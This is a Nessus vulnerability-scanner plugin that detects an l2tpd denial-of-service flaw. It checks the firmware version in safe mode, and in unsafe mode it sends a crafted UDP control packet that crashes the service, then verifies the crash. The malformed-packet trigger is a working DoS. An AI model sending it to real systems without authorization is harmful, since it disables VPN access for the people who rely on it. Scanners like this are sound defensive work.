l2tpd Malformed Data Remote DoS

#
# (C) Tenable Network Security, Inc.
#

# Ref: http://www.nessus.org/u?ceabd3b2  and
#      http://www.nessus.org/u?aabbdfb4
#
# -> No official reply to my request on the l2tpd mailing list (except
#    http://l2tpd.graffl.net/msg01241.html)
# -> The author did not bother to reply to my e-mail

include("compat.inc");

if (description)
{
 script_id(11494);
 script_version("1.15");
 script_cvs_date("Date: 2018/08/10 18:07:05");

 script_name(english:"l2tpd Malformed Data Remote DoS");
 script_summary(english:"Determines the version of the remote l2tpd or crashes it");

 script_set_attribute(attribute:"synopsis", value:"The remote host is running a network tunneling application.");
 script_set_attribute(attribute:"description", value:
"The remote host is running l2tpd, a network tunneling application.  The
installed version is vulnerable to a denial of service attack. 

An attacker may use this flaw to disable the VPN and prevent partners /
employees from connecting to it.");
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?ceabd3b2");
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?aabbdfb4");
 script_set_attribute(attribute:"solution", value:"Remove the software as it is no longer supported.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");

 script_set_attribute(attribute:"plugin_publication_date", value:"2003/03/28");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 script_category(ACT_MIXED_ATTACK);
 script_family(english:"Denial of Service");
 script_dependencie("l2tp_detection.nasl");
 script_copyright(english:"This script is Copyright (C) 2003-2018 Tenable Network Security, Inc.");
 script_require_ports("Services/udp/l2tp");
 exit(0);
}


include("audit.inc");
include("global_settings.inc");

if (!get_kb_item("Services/udp/l2tp")) exit(0, "An l2tpd service has not already been detected.");
port = 1701;
if (!get_udp_port_state(port)) audit(AUDIT_PORT_CLOSED, port, "UDP");


function ping(flag)
{
 local_var r, req, soc;

 req = raw_string(0xC8,2,0,20,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,flag);
 soc = open_sock_udp(port);
 if (!soc) audit(AUDIT_SOCK_FAIL, port, "UDP");

 send(socket:soc, data:req);
 r = recv(socket:soc, length:1024);
 close(soc);

 if(r)return(1);
 else return(0);
}



function find_firmware(rep)
{
 local_var firmware, i, len;

 for(i=12;i<strlen(rep);i++)
 {
  len = ord(rep[i]) * 256 + ord(rep[i+1]);
  if(ord(rep[i]) & 0x80)len -= 0x80 * 256;
  if(ord(rep[i+5]) == 6)
  {
   firmware = ord(rep[i+6]) * 256 + ord(rep[i+7]);
   return firmware;
  }
  else i += len - 1;
 }
 return NULL;
}


if(safe_checks())
{
 req =  raw_string(0xC8,2,0,20,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0);
 soc = open_sock_udp(port);
 if (!soc) audit(AUDIT_SOCK_FAIL, port, "UDP");

 send(socket:soc, data:req);
 r = recv(socket:soc, length:1024);
 if(!r)exit(0);
 close(soc);

 if(("l2tpd" >< r) || ("Adtran" >< r))
 {
   firmware = find_firmware(rep:r);
   hi = firmware / 256;
   lo = firmware % 256;

   if((hi == 0x06)  && (lo <= 0x90))
   {
     security_warning(port:port, proto:"udp");
     exit(0);
   }
 }
 exit(0, "According to its version, the l2tpd service listening on UDP port "+port+" is not affected.");
}

# Unsafe check
if (ping(flag:0))
{
   ping(flag:3);

   if (report_paranoia < 2) n = 3;
   else n = 1;
   for (i=0; i<n; i++)
   {
     sleep(1);
     if (ping(flag:0)) exit(0, "The l2tpd service listening on UDP port "+port+" is not affected.");
   }
   security_warning(port:port, proto:"udp");
   exit(0);
}

exit(0, "The l2tpd service listening on UDP port "+port+" is not affected.");